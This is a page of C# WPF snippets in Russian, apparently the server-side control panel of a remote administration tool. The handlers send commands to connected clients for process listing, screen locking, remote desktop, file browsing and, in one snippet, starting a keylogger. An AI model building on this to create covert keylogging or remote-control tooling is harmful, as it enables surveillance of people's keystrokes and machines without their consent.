Пример #1
0
        private void Chat_Click(object sender, RoutedEventArgs e)
        {
            try
            {
                MainWindow wind = (MainWindow)Window.GetWindow(this);
                if ((SettingsServer.MyItem)dtgClients.SelectedItem == null)
                {
                    wind.chatControl.chatPlace.Children.Clear(); return;
                }
                SettingsServer.MyItem myItem = (SettingsServer.MyItem)dtgClients.SelectedItem;
                SettingsServer        stg    = (SettingsServer)wind.stgServer;
                wind.chatControl.chatPlace.Children.Clear();
                Chat chat = stg.chats[Convert.ToInt32(myItem.ID)];
                chat.title.Text   = "Чат с " + myItem.Tag + " (" + myItem.IP + ")";
                chat.ConnectionID = Convert.ToInt32(myItem.ID);
                wind.chatControl.chatPlace.Children.Add(chat);

                wind.GridMain.Children.Clear();
                wind.GridMain.Children.Add(wind.chatControl);
                wind.chatControl.dtgClients.ItemsSource = dtgClients.Items;
                wind.chatControl.dtgClients.Items.Refresh();
            }
            catch
            {
            }
        }
Пример #2
0
 private void HardwareUsage_Click(object sender, RoutedEventArgs e)
 {
     try
     {
         SettingsServer.MyItem myItem = (SettingsServer.MyItem)dtgClients.SelectedItem;
         MainServer.Send(Convert.ToInt16(myItem.ID), Encoding.UTF8.GetBytes("StartUsageStream"));
     }
     catch
     {
     }
 }
Пример #3
0
 private void TaskMgr_Click(object sender, RoutedEventArgs e)
 {
     try
     {
         SettingsServer.MyItem myItem = (SettingsServer.MyItem)dtgClients.SelectedItem;
         MainServer.Send(Convert.ToInt16(myItem.ID), Encoding.UTF8.GetBytes("GetProcesses"));
     }
     catch
     {
     }
 }
Пример #4
0
 private void RestartClient_Click(object sender, RoutedEventArgs e)
 {
     try
     {
         SettingsServer.MyItem myItem = (SettingsServer.MyItem)dtgClients.SelectedItem;
         MainServer.Send(Convert.ToInt16(myItem.ID), Encoding.UTF8.GetBytes("DisconnectClient"));
     }
     catch
     {
     }
 }
Пример #5
0
 private void ScreenLock_Click(object sender, RoutedEventArgs e)
 {
     try
     {
         SettingsServer.MyItem myItem = (SettingsServer.MyItem)dtgClients.SelectedItem;
         MainServer.Send(Convert.ToInt16(myItem.ID), Encoding.UTF8.GetBytes("ToggleScreenlock"));
     }
     catch
     {
     }
 }
Пример #6
0
 private void RemoteDesktop_Click(object sender, RoutedEventArgs e)
 {
     try
     {
         SettingsServer.MyItem myItem = (SettingsServer.MyItem)dtgClients.SelectedItem;
         SettingsServer.RemoteDesktop_Click(myItem.ID);
     }
     catch
     {
     }
 }
Пример #7
0
 private void Explorer_Click(object sender, RoutedEventArgs e)
 {
     try
     {
         SettingsServer.MyItem myItem = (SettingsServer.MyItem)dtgClients.SelectedItem;
         MainServer.Send(Convert.ToInt16(myItem.ID), Encoding.UTF8.GetBytes("GetDF{" + "BaseDirectory" + "}"));
     }
     catch
     {
     }
 }
Пример #8
0
 private void dtgClients_SelectionChanged(object sender, SelectionChangedEventArgs e)
 {
     try
     {
         SettingsServer.MyItem myItem = (SettingsServer.MyItem)e.AddedItems[0];
         IdMenuItem.Header = "ID Клиента: " + myItem.ID;
     }
     catch
     {
         IdMenuItem.Header = "Клиент не выбран";
     }
 }
Пример #9
0
 private void Keylogger_Click(object sender, RoutedEventArgs e)
 {
     try
     {
         SettingsServer.MyItem myItem = (SettingsServer.MyItem)dtgClients.SelectedItem;
         MainServer.Send(Convert.ToInt16(myItem.ID), Encoding.UTF8.GetBytes("StartKL"));
         Keylogger K = new Keylogger();
         K.Show();
         K.ConnectionID = Convert.ToInt32(myItem.ID);
         K.Title        = "Кейлоггер - " + myItem.ID;
     }
     catch
     {
     }
 }
 private void dtgClients_SelectionChanged(object sender, SelectionChangedEventArgs e)
 {
     try
     {
         if ((SettingsServer.MyItem)dtgClients.SelectedItem == null)
         {
             chatPlace.Children.Clear(); return;
         }
         SettingsServer.MyItem myItem = (SettingsServer.MyItem)dtgClients.SelectedItem;
         SettingsServer        stg    = (SettingsServer)wind.stgServer;
         chatPlace.Children.Clear();
         Chat chat = stg.chats[Convert.ToInt32(myItem.ID)];
         chat.title.Text   = "Чат с " + myItem.Tag + " (" + myItem.IP + ")";
         chat.ConnectionID = Convert.ToInt32(myItem.ID);
         chatPlace.Children.Add(chat);
     }
     catch
     {
     }
 }